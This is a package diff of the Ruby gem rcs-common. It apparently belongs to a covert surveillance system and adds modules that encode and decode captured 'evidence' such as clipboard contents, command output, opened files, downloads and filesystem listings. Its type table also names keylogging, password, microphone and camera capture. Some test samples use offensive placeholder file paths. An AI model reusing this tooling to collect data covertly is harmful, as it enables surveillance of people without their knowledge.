rcs-common 9.6.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +7 -0
- data/.gitignore +49 -0
- data/Gemfile +4 -0
- data/LICENSE.txt +1 -0
- data/Rakefile +27 -0
- data/lib/rcs-common.rb +21 -0
- data/lib/rcs-common/binary.rb +64 -0
- data/lib/rcs-common/cgi.rb +7 -0
- data/lib/rcs-common/component.rb +87 -0
- data/lib/rcs-common/crypt.rb +71 -0
- data/lib/rcs-common/deploy.rb +96 -0
- data/lib/rcs-common/diagnosticable.rb +136 -0
- data/lib/rcs-common/evidence.rb +261 -0
- data/lib/rcs-common/evidence/addressbook.rb +173 -0
- data/lib/rcs-common/evidence/application.rb +59 -0
- data/lib/rcs-common/evidence/calendar.rb +62 -0
- data/lib/rcs-common/evidence/call.rb +185 -0
- data/lib/rcs-common/evidence/camera.rb +25 -0
- data/lib/rcs-common/evidence/chat.rb +272 -0
- data/lib/rcs-common/evidence/clibpoard.rb +58 -0
- data/lib/rcs-common/evidence/command.rb +50 -0
- data/lib/rcs-common/evidence/common.rb +78 -0
- data/lib/rcs-common/evidence/content/camera/001.jpg +0 -0
- data/lib/rcs-common/evidence/content/coin/wallet_bit.dat +0 -0
- data/lib/rcs-common/evidence/content/coin/wallet_lite.dat +0 -0
- data/lib/rcs-common/evidence/content/file/Einstein.docx +0 -0
- data/lib/rcs-common/evidence/content/file/arabic.docx +0 -0
- data/lib/rcs-common/evidence/content/mouse/001.jpg +0 -0
- data/lib/rcs-common/evidence/content/mouse/002.jpg +0 -0
- data/lib/rcs-common/evidence/content/mouse/003.jpg +0 -0
- data/lib/rcs-common/evidence/content/mouse/004.jpg +0 -0
- data/lib/rcs-common/evidence/content/print/001.jpg +0 -0
- data/lib/rcs-common/evidence/content/screenshot/001.jpg +0 -0
- data/lib/rcs-common/evidence/content/screenshot/002.jpg +0 -0
- data/lib/rcs-common/evidence/content/screenshot/003.jpg +0 -0
- data/lib/rcs-common/evidence/content/url/001.jpg +0 -0
- data/lib/rcs-common/evidence/content/url/002.jpg +0 -0
- data/lib/rcs-common/evidence/content/url/003.jpg +0 -0
- data/lib/rcs-common/evidence/device.rb +23 -0
- data/lib/rcs-common/evidence/download.rb +54 -0
- data/lib/rcs-common/evidence/exec.rb +0 -0
- data/lib/rcs-common/evidence/file.rb +129 -0
- data/lib/rcs-common/evidence/filesystem.rb +71 -0
- data/lib/rcs-common/evidence/info.rb +24 -0
- data/lib/rcs-common/evidence/keylog.rb +84 -0
- data/lib/rcs-common/evidence/mail.rb +237 -0
- data/lib/rcs-common/evidence/mic.rb +39 -0
- data/lib/rcs-common/evidence/mms.rb +36 -0
- data/lib/rcs-common/evidence/money.rb +676 -0
- data/lib/rcs-common/evidence/mouse.rb +62 -0
- data/lib/rcs-common/evidence/password.rb +60 -0
- data/lib/rcs-common/evidence/photo.rb +80 -0
- data/lib/rcs-common/evidence/position.rb +303 -0
- data/lib/rcs-common/evidence/print.rb +50 -0
- data/lib/rcs-common/evidence/screenshot.rb +53 -0
- data/lib/rcs-common/evidence/sms.rb +91 -0
- data/lib/rcs-common/evidence/url.rb +133 -0
- data/lib/rcs-common/fixnum.rb +48 -0
- data/lib/rcs-common/gridfs.rb +294 -0
- data/lib/rcs-common/heartbeat.rb +96 -0
- data/lib/rcs-common/keywords.rb +50 -0
- data/lib/rcs-common/mime.rb +65 -0
- data/lib/rcs-common/mongoid.rb +19 -0
- data/lib/rcs-common/pascalize.rb +62 -0
- data/lib/rcs-common/path_utils.rb +67 -0
- data/lib/rcs-common/resolver.rb +40 -0
- data/lib/rcs-common/rest.rb +17 -0
- data/lib/rcs-common/sanitize.rb +42 -0
- data/lib/rcs-common/serializer.rb +404 -0
- data/lib/rcs-common/signature.rb +141 -0
- data/lib/rcs-common/stats.rb +94 -0
- data/lib/rcs-common/symbolize.rb +10 -0
- data/lib/rcs-common/systemstatus.rb +136 -0
- data/lib/rcs-common/temporary.rb +13 -0
- data/lib/rcs-common/time.rb +24 -0
- data/lib/rcs-common/trace.rb +138 -0
- data/lib/rcs-common/trace.yaml +42 -0
- data/lib/rcs-common/updater/client.rb +354 -0
- data/lib/rcs-common/updater/dsl.rb +178 -0
- data/lib/rcs-common/updater/payload.rb +79 -0
- data/lib/rcs-common/updater/server.rb +126 -0
- data/lib/rcs-common/updater/shared_key.rb +55 -0
- data/lib/rcs-common/updater/tmp_dir.rb +13 -0
- data/lib/rcs-common/utf16le.rb +83 -0
- data/lib/rcs-common/version.rb +5 -0
- data/lib/rcs-common/winfirewall.rb +235 -0
- data/rcs-common.gemspec +64 -0
- data/spec/gridfs_spec.rb +637 -0
- data/spec/mongoid.yaml +6 -0
- data/spec/signature_spec.rb +105 -0
- data/spec/spec_helper.rb +22 -0
- data/spec/updater_spec.rb +80 -0
- data/tasks/deploy.rake +21 -0
- data/tasks/protect.rake +90 -0
- data/test/helper.rb +17 -0
- data/test/test_binary.rb +107 -0
- data/test/test_cgi.rb +14 -0
- data/test/test_crypt.rb +125 -0
- data/test/test_evidence.rb +52 -0
- data/test/test_evidence_manager.rb +119 -0
- data/test/test_fixnum.rb +35 -0
- data/test/test_keywords.rb +137 -0
- data/test/test_mime.rb +49 -0
- data/test/test_pascalize.rb +100 -0
- data/test/test_path_utils.rb +24 -0
- data/test/test_rcs-common.rb +7 -0
- data/test/test_sanitize.rb +40 -0
- data/test/test_serialization.rb +20 -0
- data/test/test_stats.rb +90 -0
- data/test/test_symbolize.rb +20 -0
- data/test/test_systemstatus.rb +35 -0
- data/test/test_time.rb +56 -0
- data/test/test_trace.rb +25 -0
- data/test/test_utf16le.rb +71 -0
- data/test/test_winfirewall.rb +68 -0
- metadata +423 -0
|
@@ -0,0 +1,58 @@
|
|
|
1
|
+
require 'rcs-common/evidence/common'
|
|
2
|
+
|
|
3
|
+
module RCS
|
|
4
|
+
|
|
5
|
+
module ClipboardEvidence
|
|
6
|
+
|
|
7
|
+
ELEM_DELIMITER = 0xABADC0DE
|
|
8
|
+
|
|
9
|
+
def content
|
|
10
|
+
process = ["Notepad.exe", "Sykpe.exe", "Writepad.exe"].sample.to_utf16le_binary_null
|
|
11
|
+
window = ["New Document", "Chat", "Test.doc"].sample.to_utf16le_binary_null
|
|
12
|
+
content = StringIO.new
|
|
13
|
+
t = Time.now.getutc
|
|
14
|
+
content.write [t.sec, t.min, t.hour, t.mday, t.mon, t.year, t.wday, t.yday, t.isdst ? 0 : 1].pack('l*')
|
|
15
|
+
content.write process
|
|
16
|
+
content.write window
|
|
17
|
+
content.write ["1234567890", "bla bla bla", "this is a string that will be copied"].sample.to_utf16le_binary_null
|
|
18
|
+
content.write [ ELEM_DELIMITER ].pack('L')
|
|
19
|
+
|
|
20
|
+
content.string
|
|
21
|
+
end
|
|
22
|
+
|
|
23
|
+
def generate_content
|
|
24
|
+
ret = Array.new
|
|
25
|
+
10.rand_times { ret << content() }
|
|
26
|
+
ret
|
|
27
|
+
end
|
|
28
|
+
|
|
29
|
+
def decode_content(common_info, chunks)
|
|
30
|
+
stream = StringIO.new chunks.join
|
|
31
|
+
|
|
32
|
+
until stream.eof?
|
|
33
|
+
info = Hash[common_info]
|
|
34
|
+
info[:data] = Hash.new if info[:data].nil?
|
|
35
|
+
|
|
36
|
+
tm = stream.read 36
|
|
37
|
+
info[:da] = Time.gm(*tm.unpack('L*'), 0)
|
|
38
|
+
info[:data][:program] = ''
|
|
39
|
+
info[:data][:window] = ''
|
|
40
|
+
info[:data][:content] = ''
|
|
41
|
+
|
|
42
|
+
process = stream.read_utf16le_string
|
|
43
|
+
info[:data][:program] = process.utf16le_to_utf8 unless process.nil?
|
|
44
|
+
window = stream.read_utf16le_string
|
|
45
|
+
info[:data][:window] = window.utf16le_to_utf8 unless window.nil?
|
|
46
|
+
clipboard = stream.read_utf16le_string
|
|
47
|
+
info[:data][:content] = clipboard.utf16le_to_utf8 unless clipboard.nil?
|
|
48
|
+
|
|
49
|
+
delim = stream.read(4).unpack("L*").first
|
|
50
|
+
raise EvidenceDeserializeError.new("Malformed CLIPBOARD (missing delimiter)") unless delim == ELEM_DELIMITER
|
|
51
|
+
|
|
52
|
+
yield info if block_given?
|
|
53
|
+
end
|
|
54
|
+
:delete_raw
|
|
55
|
+
end
|
|
56
|
+
end
|
|
57
|
+
|
|
58
|
+
end # ::RCS
|
|
@@ -0,0 +1,50 @@
|
|
|
1
|
+
require 'rcs-common/evidence/common'
|
|
2
|
+
|
|
3
|
+
module RCS
|
|
4
|
+
|
|
5
|
+
module CommandEvidence
|
|
6
|
+
|
|
7
|
+
def content
|
|
8
|
+
|
|
9
|
+
raise "this evidence cannot be generated here"
|
|
10
|
+
|
|
11
|
+
# it is partiallly encrypted and partially not
|
|
12
|
+
|
|
13
|
+
end
|
|
14
|
+
|
|
15
|
+
def generate_content
|
|
16
|
+
[ content ]
|
|
17
|
+
end
|
|
18
|
+
|
|
19
|
+
def decode_additional_header(data)
|
|
20
|
+
raise EvidenceDeserializeError.new("incomplete COMMAND") if data.nil? or data.bytesize == 0
|
|
21
|
+
|
|
22
|
+
ret = Hash.new
|
|
23
|
+
ret[:data] = Hash.new
|
|
24
|
+
|
|
25
|
+
binary = StringIO.new data
|
|
26
|
+
ret[:data][:command] = binary.read_ascii_string
|
|
27
|
+
|
|
28
|
+
ret
|
|
29
|
+
end
|
|
30
|
+
|
|
31
|
+
def decode_content(common_info, chunks)
|
|
32
|
+
stream = StringIO.new chunks.join
|
|
33
|
+
|
|
34
|
+
output = stream.read
|
|
35
|
+
|
|
36
|
+
info = Hash[common_info]
|
|
37
|
+
|
|
38
|
+
info[:grid_content] = output unless output.nil?
|
|
39
|
+
|
|
40
|
+
info[:data] ||= Hash.new
|
|
41
|
+
info[:data][:content] = output.safe_utf8_encode_invalid unless output.nil?
|
|
42
|
+
info[:data][:content] ||= ''
|
|
43
|
+
|
|
44
|
+
yield info if block_given?
|
|
45
|
+
|
|
46
|
+
:delete_raw
|
|
47
|
+
end
|
|
48
|
+
end
|
|
49
|
+
|
|
50
|
+
end # ::RCS
|
|
@@ -0,0 +1,78 @@
|
|
|
1
|
+
|
|
2
|
+
require 'rcs-common'
|
|
3
|
+
|
|
4
|
+
module RCS
|
|
5
|
+
|
|
6
|
+
EVIDENCE_TYPES = { 0x0240 => :DEVICE,
|
|
7
|
+
0xFFF1 => :DEVICE, # for scout
|
|
8
|
+
0x0140 => :CALL,
|
|
9
|
+
0x0230 => :CALLLISTOLD,
|
|
10
|
+
0x0231 => :CALLLIST,
|
|
11
|
+
0xC2C2 => :MIC,
|
|
12
|
+
0x0241 => :INFO,
|
|
13
|
+
0xB9B9 => :SCREENSHOT,
|
|
14
|
+
0xFFF2 => :SCREENSHOT, # for scout
|
|
15
|
+
0x0040 => :KEYLOG,
|
|
16
|
+
0xE9E9 => :CAMERA,
|
|
17
|
+
0xC6C6 => :CHATOLD,
|
|
18
|
+
0xC6C7 => :CHAT,
|
|
19
|
+
0xC6C8 => :CHAT, # skype (new)
|
|
20
|
+
0xC6C9 => :CHATMM, # chat multi media
|
|
21
|
+
0x0300 => :CHATOLD, # skype (old)
|
|
22
|
+
0x0301 => :CHATOLD, # social
|
|
23
|
+
0x0280 => :MOUSE,
|
|
24
|
+
0x0100 => :PRINT,
|
|
25
|
+
0x0180 => :URL,
|
|
26
|
+
0x0181 => :URLCAPTURE,
|
|
27
|
+
0xD9D9 => :CLIPBOARD,
|
|
28
|
+
0xFAFA => :PASSWORD,
|
|
29
|
+
0x0000 => :FILEOPEN, #file
|
|
30
|
+
0x0001 => :FILECAP, #file
|
|
31
|
+
0x1011 => :APPLICATION,
|
|
32
|
+
0xD0D0 => :DOWNLOAD, #file
|
|
33
|
+
0x1220 => :POSITION,
|
|
34
|
+
0xEDA1 => :FILESYSTEM,
|
|
35
|
+
0x1001 => :MAIL,
|
|
36
|
+
0x0211 => :SMSOLD,
|
|
37
|
+
0x0213 => :SMS,
|
|
38
|
+
0x0212 => :MMS, #message
|
|
39
|
+
0x0200 => :ADDRESSBOOK,
|
|
40
|
+
0x0250 => :IADDRESSBOOK,
|
|
41
|
+
0x0201 => :CALENDAR,
|
|
42
|
+
0x0202 => :TASK,
|
|
43
|
+
0xc0c0 => :COMMAND,
|
|
44
|
+
0xc0c1 => :EXEC,
|
|
45
|
+
0xB1C0 => :MONEY,
|
|
46
|
+
0xF070 => :PHOTO}
|
|
47
|
+
|
|
48
|
+
class EvidenceDeserializeError < StandardError
|
|
49
|
+
attr_reader :msg
|
|
50
|
+
|
|
51
|
+
def initialize(msg)
|
|
52
|
+
@msg = msg
|
|
53
|
+
end
|
|
54
|
+
|
|
55
|
+
def to_s
|
|
56
|
+
@msg
|
|
57
|
+
end
|
|
58
|
+
end
|
|
59
|
+
|
|
60
|
+
class EmptyEvidenceError < StandardError
|
|
61
|
+
attr_reader :msg
|
|
62
|
+
|
|
63
|
+
def initialize(msg)
|
|
64
|
+
@msg = msg
|
|
65
|
+
end
|
|
66
|
+
|
|
67
|
+
def to_s
|
|
68
|
+
@msg
|
|
69
|
+
end
|
|
70
|
+
end
|
|
71
|
+
|
|
72
|
+
end # RCS::
|
|
73
|
+
|
|
74
|
+
class Integer
|
|
75
|
+
def rand_times(&block)
|
|
76
|
+
(rand(self-1)+1).times { yield }
|
|
77
|
+
end
|
|
78
|
+
end
|
|
Binary file
|
|
Binary file
|
|
Binary file
|
|
Binary file
|
|
Binary file
|
|
Binary file
|
|
Binary file
|
|
Binary file
|
|
Binary file
|
|
Binary file
|
|
Binary file
|
|
Binary file
|
|
Binary file
|
|
Binary file
|
|
Binary file
|
|
Binary file
|
|
@@ -0,0 +1,23 @@
|
|
|
1
|
+
require 'rcs-common/evidence/common'
|
|
2
|
+
|
|
3
|
+
module RCS
|
|
4
|
+
|
|
5
|
+
module DeviceEvidence
|
|
6
|
+
def content
|
|
7
|
+
"The time is #{Time.now} and everything is ok... till now".to_utf16le_binary
|
|
8
|
+
end
|
|
9
|
+
|
|
10
|
+
def generate_content
|
|
11
|
+
[ content ]
|
|
12
|
+
end
|
|
13
|
+
|
|
14
|
+
def decode_content(common_info, chunks)
|
|
15
|
+
info = Hash[common_info]
|
|
16
|
+
info[:data] = Hash.new if info[:data].nil?
|
|
17
|
+
info[:data][:content] = chunks.join.utf16le_to_utf8
|
|
18
|
+
yield info if block_given?
|
|
19
|
+
:delete_raw
|
|
20
|
+
end
|
|
21
|
+
end
|
|
22
|
+
|
|
23
|
+
end # RCS::
|
|
@@ -0,0 +1,54 @@
|
|
|
1
|
+
require 'rcs-common/evidence/common'
|
|
2
|
+
|
|
3
|
+
require 'digest/md5'
|
|
4
|
+
|
|
5
|
+
module RCS
|
|
6
|
+
|
|
7
|
+
module DownloadEvidence
|
|
8
|
+
|
|
9
|
+
FILECAP_VERSION = 2008122901
|
|
10
|
+
|
|
11
|
+
def content
|
|
12
|
+
path = File.join(File.dirname(__FILE__), 'content', ['screenshot', 'print', 'camera', 'mouse', 'url'].sample, '001.jpg')
|
|
13
|
+
File.open(path, 'rb') {|f| f.read }
|
|
14
|
+
end
|
|
15
|
+
|
|
16
|
+
def generate_content
|
|
17
|
+
[ content ]
|
|
18
|
+
end
|
|
19
|
+
|
|
20
|
+
def additional_header
|
|
21
|
+
file_name = 'C:\\Users\\Bad Guy\\filedownload...'.to_utf16le_binary
|
|
22
|
+
header = StringIO.new
|
|
23
|
+
header.write [FILECAP_VERSION, file_name.size].pack("I*")
|
|
24
|
+
header.write file_name
|
|
25
|
+
|
|
26
|
+
header.string
|
|
27
|
+
end
|
|
28
|
+
|
|
29
|
+
def decode_additional_header(data)
|
|
30
|
+
raise EvidenceDeserializeError.new("incomplete DOWNLOAD") if data.nil? or data.bytesize == 0
|
|
31
|
+
|
|
32
|
+
binary = StringIO.new data
|
|
33
|
+
|
|
34
|
+
version, file_name_len = binary.read(8).unpack("I*")
|
|
35
|
+
raise EvidenceDeserializeError.new("invalid log version for DOWNLOAD") unless version == FILECAP_VERSION
|
|
36
|
+
|
|
37
|
+
ret = Hash.new
|
|
38
|
+
ret[:data] = Hash.new
|
|
39
|
+
ret[:data][:path] = binary.read(file_name_len).utf16le_to_utf8
|
|
40
|
+
return ret
|
|
41
|
+
end
|
|
42
|
+
|
|
43
|
+
def decode_content(common_info, chunks)
|
|
44
|
+
info = Hash[common_info]
|
|
45
|
+
info[:data] = Hash.new if info[:data].nil?
|
|
46
|
+
info[:data][:type] = :capture
|
|
47
|
+
info[:grid_content] = chunks.join
|
|
48
|
+
info[:data][:size] = info[:grid_content].bytesize
|
|
49
|
+
yield info if block_given?
|
|
50
|
+
:delete_raw
|
|
51
|
+
end
|
|
52
|
+
end
|
|
53
|
+
|
|
54
|
+
end # ::RCS
|
|
Binary file
|
|
@@ -0,0 +1,129 @@
|
|
|
1
|
+
require 'rcs-common/evidence/common'
|
|
2
|
+
|
|
3
|
+
require 'digest/md5'
|
|
4
|
+
|
|
5
|
+
module RCS
|
|
6
|
+
|
|
7
|
+
module FileopenEvidence
|
|
8
|
+
|
|
9
|
+
ELEM_DELIMITER = 0xABADC0DE
|
|
10
|
+
|
|
11
|
+
def content(*args)
|
|
12
|
+
hash = [args].flatten.first || {}
|
|
13
|
+
|
|
14
|
+
process = hash[:process] || ["Explorer.exe\0", "Firefox.exe\0", "Chrome.exe\0"].sample
|
|
15
|
+
process.encode!("US-ASCII")
|
|
16
|
+
|
|
17
|
+
path = hash[:path] || ["C:\\Utenti\\pippo\\pedoporno.mpg", "C:\\Utenti\\pluto\\Documenti\\childporn.avi", "C:\\secrets\\bomb_blueprints.pdf"].sample
|
|
18
|
+
path = path.to_utf16le_binary_null
|
|
19
|
+
|
|
20
|
+
content = StringIO.new
|
|
21
|
+
t = Time.now.getutc
|
|
22
|
+
content.write [t.sec, t.min, t.hour, t.mday, t.mon, t.year, t.wday, t.yday, t.isdst ? 0 : 1].pack('l*')
|
|
23
|
+
content.write process
|
|
24
|
+
content.write [ 0 ].pack('L') # size hi
|
|
25
|
+
content.write [ hash[:size] || 123456789 ].pack('L') # size lo
|
|
26
|
+
content.write [ 0x80000000 ].pack('l') # access mode
|
|
27
|
+
content.write path
|
|
28
|
+
content.write [ ELEM_DELIMITER ].pack('L')
|
|
29
|
+
content.string
|
|
30
|
+
end
|
|
31
|
+
|
|
32
|
+
def generate_content(*args)
|
|
33
|
+
[content(*args)]
|
|
34
|
+
end
|
|
35
|
+
|
|
36
|
+
def decode_content(common_info, chunks)
|
|
37
|
+
stream = StringIO.new chunks.join
|
|
38
|
+
|
|
39
|
+
until stream.eof?
|
|
40
|
+
info = Hash[common_info]
|
|
41
|
+
info[:data] = Hash.new
|
|
42
|
+
info[:data][:type] = :open
|
|
43
|
+
|
|
44
|
+
tm = stream.read 36
|
|
45
|
+
info[:da] = Time.gm(*tm.unpack('l*'), 0)
|
|
46
|
+
info[:data][:program] = ''
|
|
47
|
+
info[:data][:path] = ''
|
|
48
|
+
|
|
49
|
+
process_name = stream.read_ascii_string
|
|
50
|
+
info[:data][:program] = process_name.force_encoding('US-ASCII') unless process_name.nil?
|
|
51
|
+
|
|
52
|
+
size_hi = stream.read(4).unpack("L").first
|
|
53
|
+
size_lo = stream.read(4).unpack("L").first
|
|
54
|
+
info[:data][:size] = size_hi << 32 | size_lo
|
|
55
|
+
info[:data][:access] = stream.read(4).unpack("l").first
|
|
56
|
+
|
|
57
|
+
file = stream.read_utf16le_string
|
|
58
|
+
info[:data][:path] = file.utf16le_to_utf8 unless file.nil?
|
|
59
|
+
|
|
60
|
+
delim = stream.read(4).unpack("L*").first
|
|
61
|
+
raise EvidenceDeserializeError.new("Malformed FILEOPEN (missing delimiter)") unless delim == ELEM_DELIMITER
|
|
62
|
+
|
|
63
|
+
yield info if block_given?
|
|
64
|
+
end
|
|
65
|
+
:delete_raw
|
|
66
|
+
end
|
|
67
|
+
end
|
|
68
|
+
|
|
69
|
+
module FilecapEvidence
|
|
70
|
+
|
|
71
|
+
FILECAP_VERSION = 2008122901
|
|
72
|
+
|
|
73
|
+
def content(*args)
|
|
74
|
+
bytes = [args].flatten.first || nil
|
|
75
|
+
|
|
76
|
+
if bytes
|
|
77
|
+
bytes
|
|
78
|
+
else
|
|
79
|
+
path = File.join(File.dirname(__FILE__), 'content', ['file'].sample, @file)
|
|
80
|
+
File.open(path, 'rb') {|f| f.read }
|
|
81
|
+
end
|
|
82
|
+
end
|
|
83
|
+
|
|
84
|
+
def generate_content(*args)
|
|
85
|
+
[ content(*args) ]
|
|
86
|
+
end
|
|
87
|
+
|
|
88
|
+
def additional_header(*args)
|
|
89
|
+
hash = [args].flatten.first || {}
|
|
90
|
+
|
|
91
|
+
path = hash[:path] || ["C:\\Documents\\Einstein.docx", "C:\\Documents\\arabic.docx"].sample
|
|
92
|
+
@file = path[path.rindex(/\\|\//)+1..-1]
|
|
93
|
+
|
|
94
|
+
path = path.to_utf16le_binary_null
|
|
95
|
+
|
|
96
|
+
header = StringIO.new
|
|
97
|
+
header.write [FILECAP_VERSION, path.size].pack("I*")
|
|
98
|
+
header.write path
|
|
99
|
+
|
|
100
|
+
header.string
|
|
101
|
+
end
|
|
102
|
+
|
|
103
|
+
def decode_additional_header(data)
|
|
104
|
+
raise EvidenceDeserializeError.new("incomplete FILECAP") if data.nil? or data.bytesize == 0
|
|
105
|
+
|
|
106
|
+
binary = StringIO.new data
|
|
107
|
+
|
|
108
|
+
version, file_name_len = binary.read(8).unpack("I*")
|
|
109
|
+
raise EvidenceDeserializeError.new("invalid log version for FILECAP") unless version == FILECAP_VERSION
|
|
110
|
+
|
|
111
|
+
ret = Hash.new
|
|
112
|
+
ret[:data] = Hash.new
|
|
113
|
+
ret[:data][:path] = binary.read(file_name_len).utf16le_to_utf8
|
|
114
|
+
return ret
|
|
115
|
+
end
|
|
116
|
+
|
|
117
|
+
def decode_content(common_info, chunks)
|
|
118
|
+
info = Hash[common_info]
|
|
119
|
+
info[:data] = Hash.new if info[:data].nil?
|
|
120
|
+
info[:data][:type] = :capture
|
|
121
|
+
info[:grid_content] = chunks.join
|
|
122
|
+
info[:data][:size] = info[:grid_content].bytesize
|
|
123
|
+
info[:data][:md5] = Digest::MD5.hexdigest info[:grid_content]
|
|
124
|
+
yield info if block_given?
|
|
125
|
+
:delete_raw
|
|
126
|
+
end
|
|
127
|
+
end
|
|
128
|
+
|
|
129
|
+
end # ::RCS
|
|
@@ -0,0 +1,71 @@
|
|
|
1
|
+
require 'rcs-common/evidence/common'
|
|
2
|
+
|
|
3
|
+
module RCS
|
|
4
|
+
|
|
5
|
+
module FilesystemEvidence
|
|
6
|
+
|
|
7
|
+
FILESYSTEM_VERSION = 2010031501
|
|
8
|
+
FILESYSTEM_IS_FILE = 0
|
|
9
|
+
FILESYSTEM_IS_DIRECTORY = 1
|
|
10
|
+
FILESYSTEM_IS_EMPTY = 2
|
|
11
|
+
|
|
12
|
+
def content(*args)
|
|
13
|
+
sequence = if args.empty?
|
|
14
|
+
[{path: '/', attr: 1}, {path: '/usr', attr: 1}, {path: '/usr/README', attr: 0, size: 12}]
|
|
15
|
+
else
|
|
16
|
+
[args].flatten
|
|
17
|
+
end
|
|
18
|
+
|
|
19
|
+
content = StringIO.new
|
|
20
|
+
|
|
21
|
+
sequence.each do |data|
|
|
22
|
+
path = data[:path].gsub("//", "/").to_utf16le_binary_null
|
|
23
|
+
content.write [FILESYSTEM_VERSION, path.bytesize, data[:attr], (data[:size] || 0), 0].pack("I*")
|
|
24
|
+
time = Time.now.getutc.to_filetime
|
|
25
|
+
content.write time.pack('L*')
|
|
26
|
+
content.write path
|
|
27
|
+
end
|
|
28
|
+
|
|
29
|
+
content.string
|
|
30
|
+
end
|
|
31
|
+
|
|
32
|
+
def generate_content(*args)
|
|
33
|
+
[content(*args)]
|
|
34
|
+
end
|
|
35
|
+
|
|
36
|
+
def decode_content(common_info, chunks)
|
|
37
|
+
stream = StringIO.new chunks.join
|
|
38
|
+
|
|
39
|
+
entries = []
|
|
40
|
+
|
|
41
|
+
until stream.eof?
|
|
42
|
+
version, path_len, attribute, size_lo, size_hi = stream.read(20).unpack("L*")
|
|
43
|
+
raise EvidenceDeserializeError.new("invalid log version for FILESYSTEM [#{version} != #{FILESYSTEM_VERSION}]") unless version == FILESYSTEM_VERSION
|
|
44
|
+
|
|
45
|
+
entry = {}
|
|
46
|
+
entry[:size] = Float((size_hi << 32) | size_lo)
|
|
47
|
+
entry[:attr] = attribute
|
|
48
|
+
low_time, high_time = *stream.read(8).unpack('L*')
|
|
49
|
+
entry[:da] = Time.from_filetime(high_time, low_time)
|
|
50
|
+
|
|
51
|
+
path = stream.read(path_len).terminate_utf16le
|
|
52
|
+
|
|
53
|
+
if path
|
|
54
|
+
entry[:path] = path.utf16le_to_utf8.gsub("\\\\", "\\")
|
|
55
|
+
entries << entry
|
|
56
|
+
end
|
|
57
|
+
end
|
|
58
|
+
|
|
59
|
+
if block_given? and entries.any?
|
|
60
|
+
info = Hash[common_info]
|
|
61
|
+
info[:data] ||= Hash.new
|
|
62
|
+
info[:data][:entries] = entries
|
|
63
|
+
|
|
64
|
+
yield(info)
|
|
65
|
+
end
|
|
66
|
+
|
|
67
|
+
:delete_raw
|
|
68
|
+
end
|
|
69
|
+
end
|
|
70
|
+
|
|
71
|
+
end # ::RCS
|